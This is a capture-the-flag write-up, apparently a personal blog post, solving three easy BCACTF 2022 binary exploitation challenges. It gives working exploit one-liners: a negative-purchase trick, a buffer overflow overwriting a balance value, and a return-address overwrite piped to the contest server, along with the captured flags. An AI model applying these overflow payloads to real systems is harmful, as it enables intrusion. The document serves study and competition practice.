BCACTF 2022 Pwn Writeups - The Easy Ones

The art/science of pwning programs (binary or otherwise) rests around the idea of unexpected inputs.

Input into the program what the programmers never anticipated that you could input. Input extreme cases and see how the program reacts. The whole point of pwning is to find edge cases where the programmer’s intention differs from the actual code.

You can find the source code for these challenges at https://github.com/BCACTF/bcactf-3.0

Intro 2 Pwn #

Connecting to the shell leads to:

Hi, welcome to Pwning 101.  
Your balance is $10. Please select an item:  
1. Buy a hamster ($1)  
2. Buy the flag ($100)
(1 or 2)>

Having done many challenges similar to this before, I knew what to do immediately.

In this case, a pretty simple input is negative numbers, and sure enough, buying -90 hamsters makes our balance $10+90. And then we can just buy the flag 🤷.

BOF Shop #

BOF presumably stands for buffer overflow. Again, experience was key here to me finding a quick solution. If you want to under stand how and why buffer overflows work, this is not the best post for you, but

python -c "print('A' * <count> + 'd')" | nc  
bin.bcactf.com 49174

The prompt said we need to overwrite the (presumably) integer that’s storing the coins value to 100. Using an ASCII table, we know that the character d is equal to the integer 100, We can vary count manually to find the write number of bytes to write that results in the d getting put into the right position in memory.

Keep in mind here, that in x86_64, values are stored in little-endian. This means that putting ‘d\0\0\0’ (sending nothing is equal to leaving those bytes empty in this context) into a buffer in memory will result in the bytes getting read like

  • d = 100 « 0
  • \0 = 0 « 8
  • \0 = 0 « 16
  • \0 = 0 « 24

The number, if written down in conventional order (in base256) would be ‘\0\0\0d’. The first value supplied is the least-significant and the last one is most-significant.

python -c "print('A' * 116 + 'd')"  
| nc bin.bcactf.com 49174    
Hello there, welcome to the BOF Shop!  
What's your name?  
> Your balance: 100 coins  
  
Wow. Here, take the flag in exchange for your 100 coins.  
bcactf{buFF3r_0v3rflow_M4D3_3asy_71f7e2}

Jump Rope #

Looking at the source, a basic ROP challenge. ROP stands for return oriented programming. ROP’s elevator pitch is that you overwrite the return pointer (how the code knows where to return to after a function returns) using an existing buffer overflow.

This challenge just requires us to overwrite the return pointer to a function that will print the flag (saw that in the provided source code).

We use pwn checksec to see that there is no PIE on this binary (PIE stands for Position Independent Executable), for us, it means that the addresses to the functions will always be the same, they won’t have varying prefixes.

$ pwn checksec jumprope/jumprope  
[*] '/home/karmanyaahm/CTF/bca22/pwn/jumprope/jumprope'  
   Arch:     amd64-64-little  
   RELRO:    Partial RELRO  
   Stack:    No canary found  
   NX:       NX enabled  
   PIE:      No PIE (0x400000)

Then, use readelf to get the address of the function.

$ readelf -s jumprope | grep FUNC
   64: 00000000004010d0    47 FUNC    GLOBAL DEFAULT   15 _start  
   65: 00000000004011b6   102 FUNC    GLOBAL DEFAULT   15 a  
   67: 000000000040125a   109 FUNC    GLOBAL DEFAULT   15 main  
   68: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fopen@@GLIBC_2.2.5  
   70: 0000000000401000     0 FUNC    GLOBAL HIDDEN    12 _init

(readelf -s prints all the symbols (functions, global variables, etc) and grep FUNC only prints functions from that list)

Then, we can send the address of the function, along with an offset that was found by guessing and checking to the binary. In Python, sys.stdout.buffer.write is how you can print raw bytes (print only prints UTF-8 strings, which can cause issues for values such as the 0 byte, which isn’t a valid UTF-8 character). I spent a while debugging my exploit on the remote server, to realize that I didn’t include a b"\n" when using the write function, which print sends by default.

python -c 'from pwn import *; import sys; write = sys.stdout.buffer.write; write(b"A"*520 + p64(0x00000000004011b6) + b"\n")' | nc bin.bcactf.com 49177  
Here at BCA, fitness is one of our biggest priorities!  
Today's workout is going to be jumproping. Enjoy!  
  
Better start jumping!  
Woo, that was quite the workout wasn't it!  
bcactf{buff3r_0v3rfl0w_f4nct10n_j4mps_NfEgj4hg}

Part 2 - the hard ones coming soon…

Comments

comments loading...